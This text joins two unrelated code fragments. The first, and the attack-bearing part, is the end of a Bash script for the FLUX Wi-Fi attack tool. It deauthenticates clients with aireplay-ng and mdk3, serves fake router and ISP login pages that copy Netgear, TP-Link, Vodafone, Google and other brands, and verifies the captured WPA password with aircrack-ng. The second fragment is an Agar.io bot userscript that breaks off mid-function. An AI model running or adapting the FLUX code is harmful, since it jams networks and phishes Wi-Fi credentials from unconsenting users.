&>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface
Lifestylerr / DAWD/*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.124 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.124; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() { return []; }; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime()) / 1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } 